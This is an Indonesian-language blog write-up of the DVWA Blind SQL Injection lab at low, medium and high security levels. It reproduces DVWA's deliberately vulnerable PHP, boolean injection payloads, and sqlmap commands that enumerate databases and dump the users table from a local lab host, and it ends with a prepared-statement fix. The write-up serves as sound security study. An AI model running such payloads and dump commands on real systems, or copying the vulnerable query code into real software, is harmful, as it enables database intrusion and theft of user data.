DVWA Series: SQL Injection (BLIND)
January 03, 2022 ⏱️5 min readIntro
DVWA adalah aplikasi web yang dirancang khusus untuk memiliki kerentanan agar kita bisa mempelajarinya. Tujuan dari DVWA adalah mempraktikan beberapa kerentanan web yang umum ditemui dengan berbagai level kesulitan dan antarmuka langsung yang sederhana.
Disclaimer
Tujuan saya menulis dokumentasi ini adalah sebagai catatan pribadi dalam pempelajari keamanan aplikasi web. Saya tidak bertanggung jawab atas segala tindakan ilegal yang dipelajari dari dokumentasi ini.
Apa itu Blind SQL Injection?
Blind SQL Injection adalah salah satu teknik eksploitasi database yang berbeda dengan SQL injection biasa, di mana pada SQL Injection biasa akan mengeluarkan sebuah value, akan tetapi pada blind SQL injection tidak akan mengeluarkan value apa pun. Untuk mengetahui value tersebut kita harus melakukan trial and error untuk menguji benar atau salahnyanya value tersebut.
Security Level: Low
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
Information Gathering
Setelah dicoba-coba (trial and error). akhirnya dapat kesimpulan bahwa pada level ini tidak ada validasi apa pun untuk pada inputan yang digunakan untuk menjalankan query. Ketika kita menginputkan 1 (true), maka akan tampil seperti berikut:
Jika saya coba membuatnya error (false), maka akan tampil seperti berikut:
Ketika saya mencoba menyisipkan payload seperti berikut(sama pada sql injection sebelumnay), maka hasilnya akan true. Ini berarti form tersebut memiliki celah Blind SQL Injection.
Launch Attack
Untuk lebih mudah saya menggunakan SQLMap
sqlmap -r teq.txt --dbs
atau
sqlmap -u "192.168.1.6/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=dnluhm0tj00oo3g678re07cvl0; security=low" --dbs
Selanjutnya silahkan menggunakan perintah yang sama pada swl injection biasa
Security Level: Medium
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
//mysql_close();
}
?>
Information Gathering
Pada level ini menggunakan methot POST
sehingga kita perlu tools bernama burpsuite.
Dan ketika saya menggunakan payload berikut, maka hasilnya akan true:
1 or 1 = 1
Sehingga dapat disimpulkan terdapat celah Blind SQL Injection.
Launch Attack
Menggunakan SQLMap
sqlmap -r req.txt -D dvwa -T users --dump
atau jika ingin lebih cepat
sqlmap -r req.txt -D dvwa -T users --dump --threads 2
Security Level: High
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
Information gathering
Pada level ini terdapat perbedaan tentang cara melakukan inputan. Sekarang form inputan berada di halaman cookie-input.php (lalu nilanya dijadikan cookie) dan hasilnya akan ditampilkan di halaman index.php. kita buat error(false)
Setelah mengetahui pesan jika melakukan kesalahan, selanjutnya saya mencoba menggunakan payload berikut untuk melihat apakah hasilnya bernilai true atau false:
1 or 1 = 1#
Sampai sekarang saya masih belum menemukan cara menyelesaikan challenge level High. Jika suda mendapatkan solusi saya akan update.
Cara mengatasi
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Caranya sama seperti sql injection biasa.